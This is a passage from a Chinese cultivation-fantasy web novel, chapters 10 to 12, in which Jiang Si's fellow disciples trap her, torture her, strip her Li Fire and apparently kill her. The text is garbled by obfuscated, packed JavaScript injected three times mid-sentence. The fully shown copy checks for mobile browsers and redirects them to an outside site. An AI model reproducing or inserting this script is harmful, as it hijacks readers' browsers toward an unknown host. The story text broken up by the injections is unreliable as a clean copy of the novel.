至少谢不悔外出杀仇,站在尸山血海中的时候,偶尔抬头望月亮,也会想……大师姐,我们有小师妹了。 你曾说,想要师尊再收一个徒弟。如此,七宿七星,天破九霄。 可是大师姐,你去了何处呢?你的离火又被何人掠夺,你的魂魄又归了何地。为何不回七宿峰,等小师妹离火大成,如你一般时,师姐会回来看一眼吗。 若是看见他们几人,或许又要骂他们几句,又要抽着鞭子追着他们满山跑。质问他们为何身染鲜血,为何执迷不悟,为何不听师尊所言,莽撞冲动,若是死了怎么办。 谢不悔想着想着便会笑,他笑若是那时将小师妹拽出来,大师姐一定又会呆若木鸡,怔怔地望着他们。 而他们也可以挺起胸膛,骄傲地告诉大师姐。小师妹什么都不知道,他们没有让小师妹参与仇恨的纠葛,没有让她知晓当年的惨痛。 这些事他们都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也许不用她出手,就像在仙门大试的时候一样。只需要等到渔翁得利的那一刻,她就可以,就可以…… 谢不悔止不住他的想法,越想,心中的恨就越深一分。 那日的景象,实在太惨了。惨到他连多看一眼的勇气都没有,惨到他不知道他如何孤身走回了七宿峰。 “那是,很久之前了。”江汜低头轻声道。 谢不悔:“多久以前?” 江汜:“我还……不是朱雀山弟子的时候。” “十四岁之前?师妹这么小的年纪……”谢不悔努力扬起一个笑意,故作轻松地问道,“你是不是去地里偷人家菜了?” 江汜抿唇:“不是,但,应该也算偷?那不是我的东西,我,我拿走了。” 江汜说着又微微补充:“……也不是他们的东西。” 谢不悔:“……那就是天生地长的东西,人人可取。师妹,那不算偷。” 话虽然如此,但谢不悔的心却凉得透底。如漆黑不见一丝月光的深夜,如当年他们匆匆赶往太常界外,六合门前,那日所见景象时的彻骨痛心。 朱雀离火,在一些人的眼中,何尝不是天生地长的东西。可以被剥夺的,自然有人要强取。 蓝朝的浮水引桥,能窥见每一个修士濒死之时的景象。他们见到了长恨天,也见到了……当年一模一样的血月。 深红的液体淌了一地,分不清那是长在长恨天里狠毒的赭石水,还是人的身上剥出的血液。 只是有人躺在了那里。 江汜,你拿走的,是离火吗? 谢不悔没能问出,他眼神冰凉,在江汜看不见的地方,染上了一层墨色的肃杀之意。 没必要了,谢不悔又想。已经没有必要再问下去了。从蓝朝告诉他们这残酷的事实开始,一切早已没有必要继续问下去。 证据确凿,板上钉钉的事实。已经没有必要再听罪人的辩解。一年前从蓝朝口中得知真相时,细如密雨的银针就已经刺入了他们每个人的心脏。 日夜不停的折磨着他们。 仇恨、诛杀、血月。在江汜出现以前,这些痛苦的记忆早已融入他们的身体。他们将手刃所有杀害大师姐的仇人,不论对方是何身份、不论对方有何苦衷。杀害就是杀害,掠夺便是掠夺。 仇恨也只是仇恨。 沉重、扭曲的仇恨令他们面对仇人时,拥有面无表情斩落屠刀的冷漠。 哪怕是江汜,哪怕是大师姐曾经心心念念的七宿七星,天下无敌。 他们也可以毫不留情的动手。 满透血污的仇恨面前,什么都不值一提。 两人走到树天的一个出口,再往上走一段青石台阶,就能到七宿峰主殿前。 “啊,我忘记师兄让我去给他取剑了。”谢不悔却突然停下脚步,回身而跑,“小师妹,你先过去吧,我去去就回!” 江汜:“……好。” 她回头,望向眼前这四年间,走过无数次的青石台阶。 柔软潮湿的青苔趴在石阶上,仿佛在要她小心的踏入此地。 10. chap10 谢不悔跑出去好长一段路,头上银冠摇晃,发尾飘散,一张散发着微末灵力的窃隐符从他滚落的发冠里滑落出来。 谢不悔一脚踩到上面,顿住了脚步。 凌萚的声音却从那张符箓中传来,带着滚滚夜色的冷,毫无生气:“谢不悔,你该问清楚。” 谢不悔没有说话,他低头捡起那张符箓,仿佛在等待着另一个人的声音。 但符箓的另一边始终没有声音传来。他知道,凌萚、宋泠、蓝朝,以及易树都在窃隐符的另一边,他们都听到了江汜刚才所说的话。 “问那么清楚做什么。”谢不悔攥紧了符箓,他没有回头,就这样散着一头黑发,大步流星地朝树天之中而去。 “那些事,我们不是早就清楚了。” “……” “四年前,江汜如何进了朱雀山,江汜进朱雀山以前去过什么地方……江汜,从何而来。”谢不悔心头一阵烦躁,但却找不到发泄的东西,只能将窃隐符攥得更紧,几乎要将符箓扯破,“这种事,一开始不就知道了?” 凌萚声音依旧如孤山寒雪般冷寂:“……你在后悔?” 谢不悔冷笑了一声,一拳砸在身旁的树干之上,“少来恶心人,大师兄。” “后悔?后悔什么,我只后悔当年我们都不该留在七宿峰等!” “不然我们此时该做的不是在师尊的严厉禁止下,偷偷彻查当年之事,年复一年,日复一日地企图找出当年参与屠杀的所有罪人!” 他说着又讥讽地对着窃隐符那边冷哼了一声:“你这话倒不如问问三师妹。” 宋泠坐在落亭前,望着石桌上的符箓,依旧一言不发。 凌萚站在宋泠的身后,他的腰间别着那柄通身漆黑的剑。那是他的本命剑,但凌萚却很少用他,同易树切磋时不会用,带同门弟子历练,不论情况多么危急也不会用……指导江汜剑法时,也不曾用过。 那柄剑仿佛成了他的装饰物。 “她不敢。”凌萚淡淡地落下一句,而符箓已经被谢不悔捻碎了,窃隐符的声音一下中断。 落亭之下,蓝朝缠绕着腰上的系带,她背对着众人仰头望着主殿之上的火烧云;宋泠坐在石凳上,手挽柳枝,一言不发;易树隐没了身形,藏在竹林之间,偶尔月光穿破云层之时,才能见到他的影子。 而凌萚,自符箓中断之后,便抱剑伫立在落亭外侧。 青石台阶下,传来极轻的脚步声。 * 江汜走上青石台阶,她方才站在下方纠结了许久,才从凝虚袋中挑选出一朵模样最舒展的凝悠花。 她仔细的放进冰匣中,思考着一会儿要如何自然的给三师姐。大多情况下,三师姐见她就走,几乎不给她说话的机会。 清幽的花香被她吸入肺腑,江汜微微甩头,沉思着踏上青石台阶。 熟悉的香气令她思绪稍稍偏了方位,她模糊的感觉这股香味刚刚在杜坰的身上嗅到了。对了,她还没来得及告诉杜坰,凝悠花要怎么用。 还有杜坰刚才一身伤,她想不到能将杜坰传去何处,思来想去,心念一动就将传送阵开到了落霞峰。 这时候落霞峰大约没什么人,杜坰可以安心的用她给的丹药简单的平息灵力波动。 待会儿……江汜脚步顿住,她的视野里出现了宋泠的头上缀着的如月般的发饰。 等一会儿,她再去找一趟杜坰吧。杜坰向来不会如此莽撞,最后那慌张的神情,想来是有什么事要和她说……又或许。 江汜下意识的猜忌,如同来到七宿峰的第一日那般,她对每个好意都充满猜忌,充满怀疑。倘若无法偿还,猜测不到的就不会接受。 江汜收拢心思,手指摸到怀里藏着的冰匣。她的目光紧紧地望着三师姐的银白弯月头冠,捧着一颗惴惴不安的心一步一步往上踏去。 宋泠的身形逐渐在她的眼前清晰起来,先出现的是头顶上的白玉冠,紧接着是白玉冠上如星星坠落的流苏,再然后…… 是一双凉薄的眼睛,如月寂静,如风停歇。 “三……”江汜唇角挂起一抹淡笑,耳垂下的小痣恰如情绪波动,微微颤动一瞬。 但她的声音还未传出,还未传至宋泠的耳畔,她一脚踩上下一个石阶,仿佛正好踩上湿漉漉的青苔,脚下一晃,眼前的景象瞬间颠倒。 砰。 江汜膝盖一软,眼疾手快的伸手撑在青石台阶上,才勉强没有摔下去。 但她却直不起身,仿佛有山重的威压压在她的身上,强迫她低下头去,跪下身去。 江汜后背瞬间渗出密密麻麻的冷汗,她咬紧牙关,一手护着怀里的冰匣,一手抓着潮湿黏手的青苔,却怎么也阻止不了自己往下跪去的身形。 怎么了? 江汜心中愕然,忙不迭地运转灵力,试图去对抗风摧山倒的威压,可那股莫名强压至她身上的威压,仿佛察觉到她的负隅顽抗,只是一瞬就蛮狠地撕碎了她的灵力罩。 “嗯!” 巨大的威压压破下来,挤压着她周围的空间,连带着五脏肺腑都窒息了一般,江汜撑不住咳出一点血迹。 但她很快伸手胡乱地抹去石阶上的血迹,像是不要被人看见一样。 但几步路之外的落亭里,众人都看得清清楚楚。 五师兄易树面无表情,他仿佛于心不忍一般,依旧躲藏在树干后,不露丝毫身影。在见到江汜的动作之时,讷讷地道了一句:“小师妹,愚蠢。” 蓝朝没有回头,依旧挽着系带,静静地瞭望远处的火烧云,但她的周身却有晶莹的水珠萦绕,隐约倒映出青石台阶上的一切景象。 宋泠坐在落亭下,她的视线自始至终就没有挪开分毫,她眼睁睁的看着凌萚走出落亭,隐匿进江汜的必经之路……而后,又眼睁睁的看着江汜出现,江汜望着她,踏入禁制之中。 宋泠连眼睛都没有眨一下,无悲无喜的眼眸里,看不出她的情绪。 “离字,护心……” 江汜再也撑不住,她从单手撑住身体,逐渐变成双手,她的膝盖,就要跪上青石台阶。她死咬牙关,调转灵力,却只能无力地看着自己的身体被越压越低。 仿佛天空有一双无形的大手,硬逼着她往下跪。 为什么? 凭什么。 江汜不服,江汜不明白现在是什么情况。没有人,没有人下来。 她分明看见三师姐坐在落亭下,她分明望见三师姐的眼眸同她对视,她分明…… 难道,三师姐…… 江汜唇角咳出一点又一点的血,落在青石台阶上,染红黑绿的青苔。眼前混乱,晕眩,胸口刺痛……但周围无声,仿佛只有她一个人在这里莫名其妙的挣扎着。 “三……”江汜努力地想要仰起头来,被冷汗刺痛的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995112|178141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力地向上看。 “师妹。” 江汜没能看到三师姐,在她模糊的视野中,出现的是大师兄的脸庞。 不,又不像大师兄。 凌萚依旧如往常,着一身浅色的衣裳,腰间别着一柄与他气质格格不入的黑剑。 但现在,江汜却并不觉得,那剑和凌萚的气质格格不入了。 凌萚神情淡漠,深黑的瞳孔仿佛沾染了夜色的凝重,而充满肃杀之意。 大师兄朝她伸出手来,仿佛只是轻轻的搭在了她的肩膀上,江汜却再也承受不住,砰的一声双膝跪在了台阶上。 染血的台阶将她的膝盖浸透,她分不清是膝盖磕出了血,还是青苔水重。 “大……师兄?” 江汜茫然地抬头,望向凌萚。 凌萚剑眉微凝,江汜甚至没有看清凌萚出剑的动作,她的肩膀就被挑破了。 “……!”江汜疼得快要将下唇咬破,但她不躲不闪,漆黑的眼睛死死地盯着凌萚,盯着凌萚的表情,盯着他毫不留情的动作。 凌萚面无表情地抽回剑,收剑入鞘,黑咕隆咚的剑鞘直指江汜。 “很恶心啊,师妹。”凌萚眼神躁动,闪烁着不知名的杀意。 江汜不语,她的眉间皱起一座山峰,目光死锁凌萚。 为什么?这三个字在江汜的脑海里翻涌着,她试图回想这四年的一切,却找不到缘由。 为什么? 是恶鬼吗?可她不在长恨天,这里不是长恨天,大师兄怎么会是恶鬼。 恶心?是……说她吗? 江汜脸色苍白,但在她皱着眼睛还不知道该问些什么,该说些什么的时候,她看见凌萚从怀里取出了一样她格外熟悉的东西。 江汜微微瞪大了眼睛,她的视线在凌萚的手和眼睛来回环视。 “看起来,你认识。” 凌萚手里握着一瓶透明玉瓶盛满的赭石水。 “大师兄,这东西很危险,你……”江汜眼神紧张地望着凌萚手里摇晃的赭石水,忍不住开口。 朱雀山上,拥有离火的弟子数不胜数……而赭石水只需要几滴,就能…… 凌萚垂下眼来,眸子里没有丝毫的情绪,他握着赭石水,举至江汜的头顶。 “你很熟悉,那就好。” 凌萚说着,毫不犹豫地在她的头顶上倾倒赭石水。 如血般鲜亮的水,从玉瓶之中倾泻而下…… 江汜眼神骤变,她顾不得压制她全身的威压,强行调转灵力—— “勿听,生火!” “离字,护心!” “离字一式,一线天!” 江汜手向后甩,握住腾飞而起的勿听,一点丝线之火自她头顶而晃,斩断将要落到她身上的赭石水。 江汜忙不迭地往后扭转几个身躯,同凌萚拉开了距离。 但她还没来得及喘息,刚才还站在原地的凌萚,如鬼魅之影,一眨眼出现在了她的眼前! 江汜愕然,抬手挡剑,却不想凌萚的动作更快! “离字,一线天。” 凌萚低沉冷漠的嗓音在江汜的耳畔响起,只一瞬,竖斩而落的线火,劈过江汜的手臂,血迹四溅,散落在青石台阶上。 江汜浑身浴血,灼烧的红线燎破她的肌肤,刺骨的灼热仿佛烧进了她的经脉。 但她却觉得浑身冰冷。 11. chap11 强破威压的灵力内乱,令江汜在同凌萚交手之时,处处落于下风。更别说凌萚的境界本就高于她,往常同凌萚对练,她将离火运用至极致才能从凌萚手下走过三招。 现在…… 古怪的阵法起初只是压迫着她,像是要她跪下。但不知不觉间,江汜才察觉到,阵法在吸取……不,是在剥离她的灵力! 修士的灵力并非取之不尽用之不竭,随着修行,空灵之界的丹种会愈发的强大,而后会逐渐显现出如同破芽生根,生长的趋势。 也就是落丹五境之后的修士,能够在消耗灵力的同时,感受到微末的灵力恢复,这就是生长中的丹种带来的能力。 据说更强大的修士,消耗灵力与恢复灵力的速度几乎对等,在外人眼中,几乎有取之不尽用之不竭的灵力。 江汜现下落丹八境,自然做不到如此。但她也有刻意的去练习,练习用微末的灵力,发挥出同等的作用,以补全那点微末的灵力恢复。 但现在只有那些末等的法术才能做到如此,江汜每每动用离火剑术,就无法做到功过相抵。 可现在……她即便有心去搏,但阵法剥离灵力,哪怕是微末的灵力,都无法为她所用! 他们,竟害怕她至此吗?江汜起初以为,这里只有三师姐,她望着三师姐,走入了禁制阵法;后来,出现的是大师兄。 他们要杀我。 江汜脑海里浮现出这样一句话,于是她望着天边的火烧云,在脑海里祈祷了一遍:“二师兄回去拿剑,很快就会……” 可凌萚的黑剑斩在她的身上,她才后知后觉,凌萚不需要二师兄给他拿剑。七宿峰上,凌萚擅剑,谢不悔擅符,符咒禁制、阵法……都是谢不悔擅长的。而且,他的符,另辟蹊径,一张符箓中,谢不悔能够藏匿进另有效用的符咒。 障眼法。如同她如今深陷的阵法之中,她以为只是普通的威压之阵,却不想是要剥离她灵力的、宛如蛇蝎狠毒的禁制! 凌萚一个闪身突刺到她的眼前,江汜一双狠厉的眼神睨着他,刍狗吞日般的火吞从两人之间迸发而出! 只有日日夜夜从生死边缘挣扎的人,才会在每一次拼杀之时,不留余力,抱着宁为玉碎不为瓦全的自毁式念头,去搏一线生机。 江汜初入朱雀山,每每弟子对练,她总是如此,于是也总是遭人厌恶。只是比试而已,何必下此重手?何必自己受伤也要一剑挑飞对手? 她总是假装听不见,假装不知道,夜风里却望着自己沾满鲜血的手,挣扎许久。于是才有了七宿峰上,逐渐变得温良避芒的江汜。 她以为她忘了,直到今日,身体的本能又复苏。 江汜根本不管自己会不会被烧到,她甚至没有开口,紧闭的唇瓣,死锁的眉头,无一不展示着她的怒火! 都在。 每个人都在。 离火火吞燃烧天地,迸发光亮,将青石台阶的乃至落亭的范围内都照如白昼。 江汜看见熊熊火光之中的每一个人! 她握紧了手中木剑,胸口起伏不定,双手握剑斩下——一线天。 她听见自己犹如火势缭绕、愤怒的、不顾一切的声音:“为什么!!!” 一线离火,仿若切割两方世界,剥心离心般斩下,斩落至每个人的头顶。 凌萚动了,他手握黑剑戮雪不疾不徐地斩出一剑,那一剑同一线天撞上,消弭了江汜的离火。 但江汜不避不退,她浑身染血,发丝凌乱,仿佛从烈火中钻出,又宛如身披浴火而下,双手握剑,在与众人极近的距离中,双目血红,又一次嘶吼地喊出:“离字,一线天!” 凌萚拧眉,他无法快速出手消弭江汜遮天蔽日般的一线天,他挥剑捻诀,从剑势之下擦火而避,发丝被燎烧一点,化成灰烬落下。 江汜竟然破镜了。雾岭山脉一程,竟然毫发无损的回来了吗。 宋泠仰头望着朝落亭周围劈斩下来的离火,依旧面无表情的观察着,像要用那双眼睛,记录下今日的种种。 她没有动,身上没有丝毫的灵力波动,似乎没有想躲的意思。 江汜睨着那双眼睛,她几乎要将下唇咬破,血腥味在她的喉咙间翻涌,她本该愤怒得失去理智,将剑毫不犹豫的斩下…… 因为没有人,没有任何人……站在她的身后。 为什么?这三个字早已将她的大脑撕碎。 有人不为所动,有人对她展露杀意……这一切都是最好的说明,这件事是被他们默认的。 什么时候开始的呢?什么时候让他们一致做出了这样的决定,什么……时候? 江汜望着宋泠那双冷如残月的眼睛,她想起四年前,宋泠也是用这样一双眼睛看她。 她记得,宋泠未出的一声叹息。 原来,如此。 江汜手中剑松了一瞬,她望着宋泠,已经不想问为什么了,一线天在两人的眼前逐渐消弭,灼热的火息徐徐地往四周消散。 她突然想问——三师姐,你也想杀我吗? 但她没能问出,反而听到了一声叹息,那是五师兄易树的声音:“小师妹,愚蠢。” 紧接着,落亭之中的四师姐蓝朝动了! “水月。” 蓝朝轻吐二字,江汜的眼前如水波晃动,冰凉的水息席卷而来,扑入她的口鼻! 江汜急急后撤,挥剑而出:“静火沉雷,断天穹!” “镜花。”蓝朝的声音仿佛在她的耳畔,但江汜知晓,蓝朝不在她的身边。 蓝朝是水灵根,在这个遍地是火的朱雀山上,是唯一的存在。没有知道为什么蓝朝不去别的宗门,偏来朱雀山。 她的水灵根不掺杂任何的杂质,甚至不像宋泠那般,是个带火的双灵根。她只有水灵根,也只修水。 蓝朝时常找她对练,水克火,但对上离火似乎总要差上几分。 但也正是因为时常对练,江汜知晓蓝朝水域的幻化如梦,而蓝朝也知晓她的离火之威。 “离字……”江汜一声呵出,手中剑还未斩出,就听得蓝朝幽怨的嗓音仿若在天地之间响彻。 “世间万物恍若镜花。” “流水啊,为何不要人入梦见月。” 嗡…… 眼前的景象相互撕扯起来,江汜看不清眼前人,她极力地想要燃起离火护心,低头却只能看见身上不断地向外渗出血水来。 江汜眼中愕然,她踉跄几步,噗通一声摔倒地上。 离火……感受不到了。 “水波悠悠,利如绞索。” 噗呲一声,蓝朝整个身躯连同襦裙上的丝带披帛仿佛化为流水,指尖轻划,江汜的四肢皮肉翻烂,深红的血水四溅而出,没入蓝朝周身萦绕的水球之中。 啪嗒。 江汜手中剑落,跪坐在青石台阶前,落亭下。她的头垂落着,手已抬不起来。 余光中,她只看见大师兄手中玉白的瓷瓶里,赭石水快要见底。 呵。大师兄果然厉害,神不知鬼不觉的,就将赭石水藏匿进了他的杀招之中。 还有呢? 江汜的视野一片模糊,土红的血污占据了她整个视野,她望见天上的月亮都是血红的。 她被人轻轻地从后背踩上一脚,脸朝地摔去。火辣辣的疼从她的脸颊传来,她想她现在的模样一定很狼狈。 多少年了,多少年了呢。她很久没有被人踩在脚下了。 江汜无力地躺在地上,她感觉不到灵力,无法聚灵,却能感觉到灵力的流失。 从她的丹种,从她的空灵之界,从她的四肢,从她的肌肤,缓缓地往外流走。 她抓不住,她祈求地咬碎了牙关,她卑微地用脸在青苔上擦了又擦。可她握不住手中剑,撑不起自己倒下的身体。 她奋力地仰起头,仰起凶狠的目光,只一下就被踩碎。 冰凉的、深红的液体从高空坠落,从瓷白的玉瓶之中倾泻,从她的头顶没入,钻入她的发丝,浸透她的肌肤,顺着她的眼睛、鼻子、嘴巴往下流淌。 眼角有温热的液体,江汜知道那不是眼泪。 哐啷。 玉瓶落地,碎片四溅,没入她的肌肤,她的眼睛一动不动,直视眼前的碎片。 “血红的月亮,你见过两次了。”凌萚的嗓音从头顶传来,轻如鸿毛,却如山倒压着她站不起身。 黑剑戮雪刺入她的手掌,江汜疼得浑身一抖,却倔强地咬着唇,不发出一点声音。 “离火入体的感觉,不比剥离离火少几分疼。” 江汜耳边嗡鸣不断,凌萚的声音她听得断断续续,唯独没有错过离火二字。 离火? “当年便能承受,想必今日,师兄也不必对你手下留情了。” 凌萚手中黑剑忽的腾升起一股黑烬之火,江汜眼皮一跳,却无法将手从剑下拽出。 “易树,还不动手?”凌萚忽的冷声冲着隐匿在林木树影间的易树道。 层层林影间,总显木讷的易树走入月光之下,浑浊的月光将他无情的面容映照得更加的冷峻。 江汜余光往上仰,清晰的看见易树手中熟悉之物——碎玉灵、周度落、引气元、灵魄散。 那些东西……一年前,在她每每外出历练,师兄师姐都会随口提起——若是遇上,师妹能拿到最好,拿不到平安回来就好。 可比起平安回来,江汜更想要拿到那些东西。即便几次从鬼门关走过,即便回来时身染鲜血一头栽在山门前,醒来被师姐责罚,她也甘之如饴。 因为是家,是她渐渐想要留恋的家。 可如今她的眼眸已经惊不起任何的波澜,她望着那一件件熟悉之物,已经不知道该有什么情绪,又该做出什么样的表情。 她只是望着,只是静静地望着。望着熟悉之人的冷漠,望着他们的仇视之眼。 鲜血好似不止沾染了她的视野,她看见彼此的眼睛都相似的赤红。 “小师妹修炼一道上天赋极佳,唯独不识草药之效。”凌萚冷笑两声,“如此甚好,省下师兄寻些借口。” 易树甩符焚化,静稳的离火腾升而起,火浴碎玉灵、周度落、引气元、灵魄散。 “三师姐。”易树灵力一扫,四样东西浮于宋泠眼前。 宋泠眉目依旧冷淡,无悲无喜,江汜剑招要落她身上时,不见丝毫波动;此时要她炼化灵草仙药,亦不见丝毫犹豫。 她轻压眼帘,手中柳叶浮动,青绿之气萦绕而动,火动木涨,紧接着眼前的一切都融化为轻薄的水雾。 凌萚伸手一接,淡如水雾,轻如空气的气息看起来不带丝毫的威胁之力的东西,被凌萚融入灵力之中,牵带起没入地面的赭石水。 紧接着顺着黑剑戮雪燃起的黑烬之后,一同钻入她被刺穿的左手手心! 她再也忍不住,从嗓子眼里发出嗬嗬地喘息,整张脸都皱在了一起。她用头去撞台阶,咬破了唇,用尽全身力气想要将手拔出。 可黑剑却将她死死地钉在原地,江汜只能无力地感受到巨大的、如同剥离皮肉的凌迟之痛从那只手臂中传来,随及,随着黑烬之火逐渐吞噬她全身的时候…… 凌迟之痛遍布全身,少女的嘶吼也响彻整个落亭,带着延绵不绝的怒火与恨意。 而随着一点朱红的、跃动的如同血管鼓动的离火印记从少女的额前徐徐而出,满身血污的少女仿佛失去了生机,惨叫的嘶吼一下中断,躺在地上,如同枯萎的柳叶。 “师妹,这离火不属于你。” “你该还回来。” 全身上下仿佛失去了什么,变得空荡。空灵之界一片灰败,江汜感觉不到灵力,感觉不到本该待在空灵之界的丹种。 “……” 她甚至感觉不到,遍布世间各个角落,无名的灵力。 江汜甚至都没有仔细地去听凌萚的最后说的话,她的脑海嗡鸣阵阵,如同骇浪席卷陆地。 她变成一个凡人了。 这一次,甚至是一个不再有离火的凡人。 江汜双目赤红,眼角不再有滚热的、她不承认的湿润淌出。 她分离游散的,被疼痛击溃的神识回头,她听清凌萚最后那句“还回来”。 每个人都在她的身旁,居高临下的,带着轻蔑的、仇恨的目光扎进她的身体。 江汜嗬嗬地咳出污血,嘴里的血好像怎么也吐不干净,江汜只是稍稍动了一下手指,就感觉浑身上下都在流着什么。 好像是她的血,又好像是凌萚面无表情从她头顶倾倒的赭石水。 赭石水啊,传言在长恨天里无处不在的赭石水。 江汜双目赤红,血红的水将她的双眸污浊,她什么也看不清,又什么都看清了。 还回来? 江汜心中冷笑,渐渐的她的身子开始扭曲颤抖起来,她嘴里咳着污血,似疯如癫地笑出声来。 她什么都可以还回去,在七宿峰……不,在朱雀山得到的一切都可以还回去! 唯独,唯独从长恨天里……从长恨天就一直在她身上的东西,分毫都不能让!不能给! 离火,是她的!离火,一开始就是她的! 她还记得在长恨天如何攥着手里那柄木剑,一点一点淬炼离火的日子,那些无数次将木剑烧成黑炭的日子,那些无数次被离火灼烧手臂、灼疼得躲避追杀差点被发现的日子。 江汜瞪着一双深黑的、浸透血污的眼睛,眉头死压,眼皮上翻,她撑着支离破碎的身躯,不甘地、愤怒地仰起头。 可她却只能看见凌萚不染鲜血的鞋履。 “离火,是我的!” “离火,是我的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江汜发不出丝毫的嗓音,她攥紧了拳头,她想,她不要放过他们,她的离火,除了在她身上,哪里都不能去。 她不该有?她凭什么不该有?什么死人活人,她没见过! 离火,就是她的啊。离火自始至终就是她的,不是吗? 为什么,人人都怀疑她,都要趾高气昂,居高临下的制裁她? 江汜不明白,她只感觉此情此景,犹如四年前,她夺下当届仙门之首,回到朱雀山迎来的不是祝贺而是被押入朱正司问罪的情景一模一样。 没有人问她如何修炼的,没有人在意她为何灵力低微却能犹如天才修出四境离火。没有人知道死亡一直追逐着她,没有人想听她不想死,所以舍命、被灼烧心脉、也要炼出离火的决心。 朱雀山这样的仙门中,不存在这样的人。没有离火,也会有各种灵力秘法傍身。 在这诺大的朱雀山上,弟子不只有离火这一个保命能力。 可是江汜只有离火,没有离火就会死。 朱雀山不存在这样的天才,又或许,朱雀离火可以被剥夺,就注定朱雀山不该存在这样的天才。 在朱雀山,天才是要藏拙的。在整个九霄大陆,拥有离火的天才都要藏拙。可以被剥夺的离火,在豺狼虎豹眼中,都是可以任人宰割的鱼肉。 ……毁灭。 江汜阖上双眼,她想毁灭就好了。只是感觉不到灵力了,只是空灵之界灰败了,只是丹种隐匿起来了。 但是,还能毁灭的。 既然都已经破碎了,既然她全身上下已经没有一处好的地方了,那不如,不如就毁个彻底! 江汜心念一动,手指抓着杂草烂泥,她的神识沉入空灵之界,从土壤之下挖出那颗战栗发抖的丹种。 “我说了,它是我的——” “离火!” 江汜大呵一声,神识就要碾碎丹种自爆。 三师姐动了。宋泠手挽的柳枝动了。 江汜在巨大的眩晕与剥离神识的急剧痛苦之下,看见了宋泠的动作。 淡绿的灵力朝她而来,轻薄而淡漠,仿佛莲台之上的菩萨,不带丝毫的私情。 “我不需要。”江汜听见自己同样冷漠的嗓音。 是,她不需要了。 她急急地去碾碎丹种,不曾注意消失在眼前的蓝朝。 等她意识到什么的时候,温润的浮水已经浸透了她的空灵之界,丹种落地,重新扎入土壤里。 江汜愕然,却见点叶而落的蓝朝用一双不同往日,冷静的目光睨着她。 “泠泠静水,桥引做归。” 蓝朝袖口之中甩出一段水蓝色的披帛,再靠近江汜的瞬间,如水蔓延开。 宋泠至蓝朝身后而落,柳叶点地,却如利剑,一下刺穿她的心脏。 江汜已经咳不出更多的血。 她愕然地看着两人,感觉到生命的流逝。 原来,她想错了。菩萨下莲台,也没有要救她。 “桥引!” 蓝朝轻呵一声,被水包裹的江汜瞬间,仿佛随着水炸开,一瞬间便消失在了原地,只留下点点水珠滚落在空气之中。 天边的火烧云不知什么时候逐渐消散,七宿峰上的灵力也不再朝着火烧云之中而去。 蓝朝回头,仰头望向紧握黑剑戮雪的凌萚,淡声道:“师尊出关了。” 她说着又瞥向躲藏在竹林之间的易树:“师弟,你太慢了。” 易树没有说话,竹林之间人影闪动,易树顷刻之间离开了此地。 谢不悔重新束了发,黑玉银冠别在发顶,他站在蓝朝上方一点的台阶,宋泠的身侧。 “浮水做桥,渡她魂归路。”谢不悔喃喃,目光冷冽,“蓝朝,你让她魂归何处了?” 蓝朝又恢复那般幽怨的目光,哀怨的嗓音。 “被三师姐的杀招刺中,魂归哪里,都活不了了。”蓝朝幽幽地道,往青石台阶上一步一缓地走去。 她每走过一道台阶,上方的血污就会被水洗涤清浊。 “而且——”蓝朝仰起头,耳边双髻系着的发带随风飘起,她望向杀意依旧四散的凌萚,“大师兄不是也知晓,那日,我并没有为她浮水做桥,引她魂归七宿峰。” “谁知道长恨天出来的是人是鬼。” “魂入七宿峰?那可太恶心了。师姐的魂,我至今都没等到。哪能叫不相干的人魂入七宿峰。” “她从哪来,就回哪去。长恨天那种恶鬼长存的地方,才适合披着人皮的恶鬼。” 蓝朝从凌萚身侧擦肩而过,穿过落亭,朝着七宿峰主殿而去。 在七宿峰的亲传弟子,都已经收到来自雨无正宗老的灵力传信——速来主殿。 青石台阶上的几位弟子相视一眼,又默不作声地别开眼。凌萚先行,谢不悔破了符箓禁制,小心的抹除痕迹而后离开。 最后,是宋泠。 她弯腰想要捡起落在台阶上的柳叶,余光却瞥见一个冰匣,里面滚落出一朵长得极其标准的凝悠花。 不染丝血。 12. chap12 浑浊的、血土漫天的光景在头顶之上萦绕不止。 漆黑的、空洞的圆仿若月亮挂在天穹的正中央。但它没有月亮的光,没有月亮的冷,它只是一个漆黑的、空洞的,伫立在天穹,仿佛能吞噬万物的一个圆。 但长恨天的人,都唤它为玉盘。 “小时不识月,呼作白玉盘”。 “路从今夜白,月是故乡明”。 “……” “月亮的方向是家的方向。” 记忆里一身布衣的跛脚娘,总会在一个特殊的日子,不畏追杀的恐惧,不顾大难当头的忧虑。 反而挑着周围能用的东西,拼拼凑凑堆一个丑陋的桌子出来,又在丑陋的、摇摇欲坠的桌子上,摆上寒酸的吃食…… 对着天上那黑漆漆的圆合手跪拜。 江汜总是站在身旁,不情不愿地望向天穹黑漆漆的圆。她没见过月亮,但总觉得跛脚娘口中那句“白玉盘”怎么也不该是这样漆黑丑陋的模样。 “那不是月亮。”江汜被跛脚娘拽得踉跄,仍然不愿意跪下去,拜一个丑陋的月亮。 “它以前是月亮。”跛脚娘总是这样说。 “但现在不是了。” 跛脚娘又摇头:“以后月亮,还会是它的。” “阿汜,我们以后都要回家的。” 江汜不知道家是什么,她没有家的概念,没有家的意识。跛脚娘不是她的娘,长恨天的人不是人。 家是被屠杀的前的谎言。 她见过许多人被困进名为家的牢笼里,然后,再也醒不过来。 “我不回家。”江汜听见自己的声音。 …… “我……回家了,吗。” 江汜身上的血已成痂,黏着泥土凝固在头发间、半边脸、数不清的伤口上。 周围黑红的土上扎根着破败的屋舍,片片瓦砾早已风蚀进了土壤里,却长不出春日的花。 